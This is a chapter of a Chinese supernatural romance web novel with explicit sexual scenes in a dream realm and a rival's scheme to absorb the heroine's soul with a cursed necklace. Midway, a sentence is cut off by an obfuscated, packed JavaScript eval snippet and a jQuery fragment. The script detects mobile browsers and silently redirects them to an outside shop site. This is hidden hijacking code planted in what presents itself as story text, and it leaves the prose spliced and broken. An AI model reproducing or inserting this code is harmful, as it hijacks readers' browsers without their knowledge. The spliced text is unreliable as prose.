直到下车,景从央都没有从刚才的震惊中缓过来。
现实的慕博简没有,梦里的男人却有,他们难道不是同一个人?
景从央一阵恶寒,如果梦里的男人不是董事长,那是谁?
难道是那个喜欢调戏她的“鬼”冒充董事长模样进入她的梦中?
可是,它不是董事长吗?难道,它也不是?
想到自己可能和不是董事长的人做了亲密的事,巨大的羞耻与屈辱感如海啸般击溃了景从央的神经。
她行尸走肉般跟在慕博简的身后,对于周围占地比薛家宅院大了几倍的中式宅院都没了欣赏的兴趣。
当走进通向主楼的锦鲤池回廊,一直低着脑袋走路的景从央突然撞到一堵肉墙,她下意识后退道歉。
现在的她正处于自我厌弃中,她痛恨自己为什么在没有正式确认对方是董事长的情况下就和他以及“它”亲密。
如果被董事长知道,他会嫌弃她的血被弄脏了,到时候肯定会抛下她找别的人。
只是想一下,景从央哭肿的眼睛再次流下泪来。
慕博简垂眸打量面前无声流泪的女孩,剑眉微蹙,被掏裆的是他,她反倒一副受了天大委屈的模样。
他幻化的□□确实没有,当初他觉得自己不用排泄,幻化这些没什么用。
如今看来,必须得有?
瞧着女孩因为没有摸到而难过痛哭又不敢哭出声的可怜样,做任何事都游刃有余的慕博简,头一次对自己当初的决定产生了怀疑。
好在,不过一眨眼的事,他意念微动,平滑垂直的布料瞬间鼓鼓囊囊。
他拉起景从央的手按住布料,面上依然清冷无双,实际胸腔中的肉芽已经乱了节奏,“给你摸,别哭了,脸皱在一块像老树皮。”
突如其来的操作让景从央愣在当场,慕博简说的话她没听不清,所有的注意力全汇聚到手掌。
和梦中一模一样。
景从央喜极而泣,是董事长,梦里的人是董事长。
她的血没有被别人弄脏,董事长不会不要她!
她又哭又笑地扑进慕博简的怀中,不管会不会被推开,此时此刻,她只想抱住他感受他的存在。
慕博简被景从央的反应弄得更加疑惑,这是高兴还是不高兴?
转念一想,他为什么要关心这个呆瓜开心还是不开心?
自己最近这么古怪,一定是受了梦境的影响,早知道他就不弄那个梦中幻境,现在想关掉还关不掉。
看来得赶紧提升景从央的棋艺,让她打败自己,梦境就能彻底结束了。
慕博简抬手准备推开窝在怀中哭得稀里哗啦的女孩,手掌刚接触到她的那一刻,魂体撕裂之痛去而复返,痛感甚至比在车上的时候还要猛烈。
不够!光吸血不够!还要更多,更多!
魂体在叫嚣着对景从央的渴望,慕博简催动意念,在天亮之前,他和景从央所在的锦鲤池回廊不会有任何人能进入。
设好结界,那双本要推开景从央的手转而搂上她的腰,接着用力收紧,有种要将她揉进身体的疯狂。
还来不及惊喜慕博简没有推开自己,景从央忽然感觉困得不行,排山倒海的困意压在她的眼皮上,她挣扎着眨了两下眼睛便支撑不住沉沉睡去。
急速的闪白从眼前跳过,景从央迷蒙地睁开眼,周身的环境和她刚才所处的锦鲤池回廊一模一样。
什么情况?她到底是在梦中还是晕了一秒又醒了?
还未搞清楚状况,一团火热的气息从身后将她包裹住。
“帮我。”低哑的声音在她耳畔响起,伴随着灼人的湿气,烫得她耳朵发热。
被抱住的景从央敏锐地察觉到男人的状态不对,她在男人怀中转了个身与男人面对面。
一仰头便看到男人全身被汗水打湿像是刚从水里捞起似的,那根簪住他一半乌黑长发的簪子摇摇欲坠,另一半披散的头发湿漉漉地贴在身上,好像一块黑色毯子盖在他的肩上。
视线上移,男人原本白里透红的脸如今惨白如纸,他紧咬嘴唇,仅有一点粉色的唇瓣此时被他咬得发白。
景从央第一次在梦里见到男人这般痛苦脆弱的样子,忍不住担心起来,她踮脚捧住男人的脸,急切道:“你怎么了?需要我怎么帮你?”
“与我交融。”男人抱起她,一只手掐住她纤瘦的腰身,另一只骨节分明的手催动她的欲念。
害怕摔到地上的景从央像树袋熊一样四肢环抱住男人,她正想将脑袋搭在男人肩窝时,热烈的木香袭来,她的唇齿被侵扰。
渐入佳境后的两人默契无比,景从央感觉自己成了一张摊在烙饼机上被翻来覆去的饼子,架在四百多平锦鲤池上的曲折回廊每一处都沾染了两人的潮气。
好几次她想叫喊出声,无奈周围的场景和现实太像了,她一时间分不清到底是不是梦境,担心有人出现,只能死死紧咬牙关。
背对男人站立的景从央双脚踩在男人脚背上,她的移动全依赖男人这个人形载具,好不容易从漫长的互动中得到平缓的休息时间,下棋游戏又开始了。
身后的男人一边掐着她的腰推着她往前走,一边用动作提醒她该下棋了。
景从央艰难地稳住飘入高空的神志,在随身移动的电子棋盘点下落子的位置。
“这里不会有人过来,你可以做任何事。”男人挺着腰低笑一声,右手飞速在电子棋盘点击落子的地方。
因着男人蓄意折磨她,不让她压抑声音,景从央遭不住巨浪滔天的刺激,紧咬的牙关顷刻间破功。
以往输了棋局,幻境中的电子音会提示一小时后结束。
景从央也不知道幻境中一个小时对标现实时间多少,反正每次结束后正好醒来。
她十分怀疑这个电子音在搞鬼,但她没有证据。
眼下,输掉棋局后,她得继续帮男人忙。
可是体感过去几个小时,锦鲤池上的那些迂回廊桥都被她来回走过好几遍,男人也没有停的迹象。
在幻境双倍共感的加持下,她始终处于冲顶的巅峰状态,也没有累的感觉,相反愈发精神抖擞,精力充沛。
体感又是几个小时过去,景从央身上如一叶随风浪飘摇的小舟挂在男人身上,虽然不累人也很快乐,但这么不停歇让她有种永远不会有终止的慌张感。
她不会一直困在梦境中出不来吧?
她啃了一口男人的肩头,气呼呼地问他:“到底有完没完?还要帮你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642768|203613||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多久?”
男人低头,嘴唇轻轻碰了下她的鬓角,“快了。”
被抱着在四百多平的锦鲤池上又走了几番来回的景从央再一次不耐烦地发出质问。
“你还没好吗?”
“快了。”
又是漫长的几轮回合后。
“我累了,想离开。”
“我知道你不累。”
“你!你还要多久?”
“快了。”
锦鲤池中,一尾黄色的锦鲤悄悄浮出水面,两只圆溜溜的眼睛死死盯着桥上严丝合缝嵌在一起的两人。
嫉妒、怨恨、杀意多种情绪交织在这尾黄色锦鲤眼中,它在两人脚下的池中疯癫似的游来游去,像在发泄,又像在找机会打扰两人。
闭着眼趴在男人肩头的景从央根本没有注意到池中鱼儿的动静,托住她的男人却在黄色锦鲤浮上来的前一秒察觉出它的存在。
他故意带怀中的女孩从回廊来到桥上,让锦鲤近距离看到他们两人的亲密。
预料到锦鲤想从池中跃出打搅他们,男人琥珀色的眼睛掠过一抹寒光,下一瞬,那尾黄色锦鲤两只眼球爆炸,眨眼间化作一缕黑烟消散。
同一时刻,薛家主楼三楼的一间卧室里传来尖厉的哀嚎。
“啊!我的眼睛!我的眼睛!”薛玉芸捂着灼烧刺痛的双眼从漂亮的公主床滚落到地板上。
隔壁卧室的薛磬书听到声音,火速赶来。
“玉芸,怎么回事?”他扶起在地上打滚的薛玉芸,小心翼翼地拿开她捂住眼睛的手,他并未在上面发现有任何伤口。
见侄女如此痛苦,他气沉丹田运转体内灵力通过手指传到薛玉芸的眼睛上。
半小时后,薛玉芸眼睛火烧火燎的灼痛消失,她一把抓住薛磬书的手臂,咬牙切齿地吐出一个名字,“慕博简......”
很快她后悔了,颤抖的舌尖卷出另一个名字,“是景从央!小叔,你一定要拿下她,不能让她和慕博简在一起!不然我们全完了!”
薛玉芸摸着脖子上的黑珍珠项链,脑海中不断浮现景从央和慕博简如两只融化的糖人黏在一块的画面。
妒忌之火烧得她心脏疼,她狠狠攥住掌心的黑珍珠项链。
昨晚,她用父母拜托大师做过法的黑珍珠项链,尝试链接吸收景从央的灵魂。
尝试了一夜都未能成功,直到黎明破晓之际,她才好不容易链接到景从央的灵魂,却误打误撞进入景从央的梦中。
她和景从央佩戴的这两条项链,景从央的那条中有一颗珍珠藏着她的头发,而她自己的这条有一颗珍珠存着在景从央保暖内衣上找到的头发。
大师叮嘱过要多多和景从央亲密接触,沾上景从央的气息,才能更轻易地开启灵魂链接吸收魂体为己所用。
如此不间断七七四十九天,景从央的两魂七魄将会被她一丝不漏地吸收完毕。
存有景从央缺的那一魂的慕博简,对景从央的魂魄有着命定的渴求和亲近。
只要自己取代了景从央,慕博简到时候就会成为她薛玉芸的裙下之臣!
薛磬书将薛玉芸搀扶到床上,为她盖好被子,又揉了揉她的脑袋,郑重保证,“你放心,小叔一定如你所愿。”